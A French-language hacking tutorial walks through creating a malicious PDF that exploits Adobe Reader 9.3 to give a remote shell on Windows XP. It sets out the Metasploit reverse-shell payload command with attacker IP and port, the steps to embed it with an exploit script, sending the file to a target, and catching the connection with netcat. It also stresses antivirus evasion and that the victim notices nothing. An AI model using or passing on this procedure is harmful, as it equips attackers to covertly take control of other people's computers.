Pdf_win32reverse.shell

Transcription

Pdf_win32reverse.shell
TP : PDF win32_reverse shell
INTRO
• Difficulté :
N00bz mais pas trop. La difficulté est juste dans la compréhension des pré-requis (voir préface).
Comme d’habitude je vulgariserai un maximum mes explications pour que ça soit compris du plus
grand nombre. Donc désolé pour les puristes à qui j’hérisserai le poil avec mes maladresses.
• Préface :
- Ok Google est mon ami ! Mais encore ?...
Comme pré-requis il vous faut au moins avoir des connaissances basiques sur les payloads,
sur Metasploit, les exploits et ce qui les constituent, être informé sur les failles Windows, sur les
failles programmes/plug-in/addons…, sur les codes malicieux, etc…
- Pour un débutant ça n’est pas un peu trop ?...
On ne vous demande pas d’être un l33t, mais vous devez au moins comprendre le cheminement et
de quoi il en retourne.
- Mon antivirus ne va pas apprécier !...
En effet, bien qu’inoffensif (donc pas de dégâts pour la machine), votre antivirus risque de se
manifester.
Voici le rapport Virus Total du 11/04/2010. Sans l’avoir retouché, le "pdf" reste encore relativement
furtif.
Nota : au 16/03/2010 Virus Total indiquait 0/42
- Les tests ont été effectués sur ?...
Pour la préparation, sur BackTrack 4 Final
Pour les cibles, sur Xp Sp2 et Sp3
- Il y a un Hic ?...
Il y en a même 3.
- La faille ne s’applique qu’à Adobe Reader (testé sur la version 9.3).
Donc on n’ouvre pas le fichier pdf avec Foxit Reader, Sumatra Pdf, ou autres.
- Il faudra certainement désactiver le javaScript dans
Edition  Préférences JavaScript  Activer Acrobat JavaScript
ça peut fonctionner sans cette manip, donc testez les deux.
- Adobe a normalement un update correctif, donc si vous testez cette faille,
après installation ne faites pas de Maj d’Acrobat Reader 9.3 en 9.3.1 et plus.
MISE EN PLACE
• Le Principe :
- Son principe :
Habituellement la démarche d’une attaque est de chercher à s’introduire sur une machine cible via un
"server.exe" (ex : backdoor), afin de s’y connecter et avoir accès au shell, ou autre.
Ce coup ci on va faire l’inverse, la machine cible va venir d’elle-même se connecter sur l’attaquant.
Pour effectuer cela nous allons exploiter une faille d’Adobe Reader des versions 8 à 8.2 et 9 à 9.3
- Ce que je veux qu’il fasse :
Après exécution du fichier pdf piégé (donc à lancer avec Adobe Reader) sur la machine cible :
- La machine victime devra chercher une connexion sur l’attaquant en écoute sur un port X
- Et donner un accès shell à cet attaquant.
• Les Outils :
- Qu’est ce qu’il nous faut :
- Pour l’attaque j’ai utilisé BT4 Final.
- Pour la cible j’ai testé Xp-Sp2 et Sp3, mais le TP se fera sur Xp-Sp3 (en vm avec vbox, facultatif).
- Le fichier pdf-sploit.py qui ce trouve dans ce pdf (voir "Pièces jointes").
LET’S GO
• BT4 final :
- Préparation de la potion magique :
Pour commencer on ouvre une Konsole et on crée un répertoire de travail sur le bureau, ex : Lab-test.
Puis, rdv dans votre répertoire.
On y met le fichier pdf-sploit.py
Puis on l’édite : root@bt :~/Lab-test# nano pdf-sploit.py
On descend jusqu’à la ligne : buf=(CODE A METTRE ICI)
- Google est notre ami, on le sait déjà ! Mais à quoi va nous servir ce fichier ?...
Globalement ce fichier va nous servir à créer notre pdf piégé, grâce à son code on va pouvoir exploiter la
faille d’Adobe Reader.
Mais tel qu’il est le fichier est inexploitable pour piégé notre cible, car il nous manque la partie du code
"win32_reverse", qui permettra à la cible de se connecter et de nous donner l’accès à un shell.
- Si la cible se connecte sur nous, ne lui faut il pas des infos de connexion ?...
Exact, notre "win32_reverse" a besoin d’info pour renseigner la victime, sur qui se connecter et sur quel
port.
Pour cela on ouvre un autre onglet Konsole et on tape :
root@bt :~# ifconfig wlan1
- Pourquoi Wlan1 ?...
Car c’est l’adaptateur wifi usb avec lequel je suis connecté. (Donc peut importe du moment qu’on récupère
l’ip de connexion).
192.168.1.67 étant l’ip réseau qui m’a été attribuée
On a l’ip, il nous faut le payload (donc dans notre cas c’est win32_reverse), rdv dans le répertoire
framework2.
root@bt :~# cd /pentest/exploits/framework2
On regarde la liste des payloads, on tape :
root@bt :~# ./msfpayload
On utilise le payload avec nos options :
root@bt :~# ./msfpayload win32_reverse LHOST=192.168.1.67 LPORT=443 C
LHOST (local host) pour votre ip et non celui de la victime.
LPORT (local port) pour le port de connexion ex : 443 (configurable)
On copie ce bout code puis retour dans le premier Terminal pour le coller dans pdf-sploit.py
buf=(CODE A METTRE ICI)
Un "Ctrl+X" pour sauver
Yes
On renomme le fichier pdf-sploit.py
En par exemple pdf-sploit_2.py, puis Enter
Yes
On vérifie dans le répertoire de travail
Pdf-sploit_2.py ok
Un petit coup de chmod sur Pdf-sploit_2.py
root@bt :~# chmod 775 Pdf-sploit_2.py
Puis on crée le pdf piégé :
root@bt :~# python Pdf-sploit_2.py Mouton.a.poil.laineux.pdf
Il reste plus qu’à l’envoyer à notre cible.
En attendant dans un 3ème onglet, on lance l’écoute sur le port 443 avec netcat
• Xp-Sp3 :
- Le piège :
Tout d’abord j’installe Adobe Reader 9.3
Je n’ai pas fait de screen sur le clickage du fichier Mouton.a.poil.laineux.pdf, car il y a rien de transcendant.
Le plus intéressant se trouve dans la Tasklist (Gestionnaire des tâches de Windows) et dans les Connexions actives
Donc on ouvre la Tasklist et on s’aperçoit qu’AcroRd32.exe est lancé… Donc normal, c’est ce qui gère Adobe Reader
et parallèlement nous avons aussi un cmd.exe de lancé (c’est notre piège qui tourne), pas de fenêtre, pas de sirène
de pompier (en tout cas pas dans mon test), bref rien qui pourrait alarmer le propriétaire.
Voyons maintenant les Connexions actives
On ouvre une fenêtre DoS et on lance la commande netstat –na,
on constate une connexion TCP effective sur l’ip 192.168.1.66 (celle de la cible) par le port 4600
Et l’ip 192.168.67 (donc la notre) via le port 443
• Retour sur BT4 final :
Revenons à notre écoute du port 443
Notre cible click sur le pdf piégé Mouton.a.poil.laineux.pdf
Et hop ! Connexion de la cible, ip 192.168.1.66 port 4600 sur notre ip 192.168.1.67 port 443
Un petit coup d’ipconfig, et on a bien l’ip de notre cible
Un "dir" pour lister le Bureau
…by Cr@Sh

Documents pareils